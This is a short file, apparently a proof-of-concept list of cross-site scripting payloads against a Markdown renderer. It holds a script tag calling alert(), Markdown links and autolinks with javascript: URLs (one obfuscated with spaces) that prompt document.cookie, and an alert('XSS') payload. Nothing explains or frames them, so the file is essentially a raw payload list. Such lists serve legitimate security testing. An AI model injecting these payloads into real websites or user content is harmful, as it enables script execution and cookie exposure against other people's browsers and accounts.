A PoC 1
<script>alert()</script>a
[a](j a v a s c r i p t:prompt(document.cookie))
javascript:prompt(document.cookie)
<javascript:alert('XSS')>
a
a
\